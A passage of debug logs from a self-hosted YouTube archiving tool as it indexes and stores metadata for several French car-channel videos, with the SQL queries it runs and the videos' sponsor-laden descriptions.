commande\nCollaboration Commerciale\n\n-----------------------------------------------\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles pour le prêt de cette incroyable R26.R\nLe site 👉 http://sport-design-automobile.fr/\n\n-----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Robin Danos\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#RENAULT #BAGARRE #MEGANERSTROPHYR26RCESTLONG", "duration" => 1426, "filename" => "/downloads/Sylvain Lyve/2026-01-15 RENAULT MEGANE R26.R : Reine du Nurb'/RENAULT MEGANE R26.R : Reine du Nurb' [6JeOGZG73cg].mkv", "id" => "6JeOGZG73cg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6JeOGZG73cg", "playlist_index" => 14, "timestamp" => 1768497300, "title" => "RENAULT MEGANE R26.R : Reine du Nurb'", "upload_date" => "20260115"} 07:40:27.590 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=321.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:27.592 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=324.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:27.594 [debug] QUERY OK source="media_items" db=1.6ms idle=325.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-15 17:15:00Z], 2] 07:40:27.653 [debug] QUERY OK source="media_items" db=56.7ms idle=328.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-----------------------------------------------\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles pour le prêt de cette incroyable R26.R\nLe site 👉 http://sport-design-automobile.fr/\n\n-----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Robin Danos\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#RENAULT #BAGARRE #MEGANERSTROPHYR26RCESTLONG", "RENAULT MEGANE R26.R : Reine du Nurb'", "737be1fd-2f6d-492d-baa6-9b71526d043f", "6JeOGZG73cg", 1426, false, "https://www.youtube.com/watch?v=6JeOGZG73cg", 14, "/downloads/Sylvain Lyve/2026-01-15 RENAULT MEGANE R26.R : Reine du Nurb'/RENAULT MEGANE R26.R : Reine du Nurb' [6JeOGZG73cg].mkv", false, false, false, 2, [], 98, ~U[2026-01-15 17:15:00Z], ~U[2026-04-20 05:40:27Z], ~U[2026-04-20 05:40:27Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-----------------------------------------------\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles pour le prêt de cette incroyable R26.R\nLe site 👉 http://sport-design-automobile.fr/\n\n-----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Robin Danos\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#RENAULT #BAGARRE #MEGANERSTROPHYR26RCESTLONG", "RENAULT MEGANE R26.R : Reine du Nurb'", "6JeOGZG73cg", 1426, false, "https://www.youtube.com/watch?v=6JeOGZG73cg", "/downloads/Sylvain Lyve/2026-01-15 RENAULT MEGANE R26.R : Reine du Nurb'/RENAULT MEGANE R26.R : Reine du Nurb' [6JeOGZG73cg].mkv", false, 2, ~U[2026-01-15 17:15:00Z]] 07:40:27.655 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=262.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:27.658 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.1ms idle=65.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:27.660 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=66.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17757] 07:40:27.661 [debug] Current batch of media processed. Will check again in 1000ms 07:40:28.665 [debug] Current batch of media processed. Will check again in 1000ms 07:40:29.667 [debug] Current batch of media processed. Will check again in 1000ms 07:40:30.668 [debug] Current batch of media processed. Will check again in 1000ms 07:40:31.669 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "duration" => 1965, "filename" => "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", "id" => "OB3hFv2vOQo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OB3hFv2vOQo", "playlist_index" => 15, "timestamp" => 1767892505, "title" => "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "upload_date" => "20260108"} 07:40:31.671 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1258.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:31.672 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=397.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:31.674 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=398.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 17:15:05Z], 2] 07:40:31.700 [debug] QUERY OK source="media_items" db=24.4ms idle=401.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "3765d080-2a5a-4b71-bc6a-80ace458b36c", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", 15, "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, false, false, 2, [], 98, ~U[2026-01-08 17:15:05Z], ~U[2026-04-20 05:40:31Z], ~U[2026-04-20 05:40:31Z], "NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, 2, ~U[2026-01-08 17:15:05Z]] 07:40:31.702 [debug] QUERY OK source="sources" db=1.0ms idle=286.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:31.703 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=31.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:31.706 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=31.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16959] 07:40:31.706 [debug] Current batch of media processed. Will check again in 1000ms 07:40:32.710 [debug] Current batch of media processed. Will check again in 1000ms 07:40:33.711 [debug] Current batch of media processed. Will check again in 1000ms 07:40:34.715 [debug] Current batch of media processed. Will check again in 1000ms 07:40:35.716 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "duration" => 5577, "filename" => "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", "id" => "4kEtEQcb0ws", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4kEtEQcb0ws", "playlist_index" => 16, "timestamp" => 1766078100, "title" => "24 HEURES POUR FABRIQUER UNE VOITURE", "upload_date" => "20251218"} 07:40:35.717 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=442.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:35.721 [debug] QUERY OK source="sources" db=2.9ms queue=0.1ms idle=443.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:35.728 [debug] QUERY OK source="media_items" db=6.3ms idle=447.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-18 17:15:00Z], 2] 07:40:35.740 [debug] QUERY OK source="media_items" db=9.4ms idle=455.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "a4bee4c4-170b-40e6-82da-a8947cfa41bb", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", 16, "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, false, false, 2, [], 98, ~U[2025-12-18 17:15:00Z], ~U[2026-04-20 05:40:35Z], ~U[2026-04-20 05:40:35Z], "Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, 2, ~U[2025-12-18 17:15:00Z]] 07:40:35.742 [debug] QUERY OK source="sources" db=1.5ms idle=305.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:35.743 [debug] QUERY OK source="media_profiles" db=0.7ms idle=24.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:35.744 [debug] QUERY OK source="media_items" db=0.7ms idle=22.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN 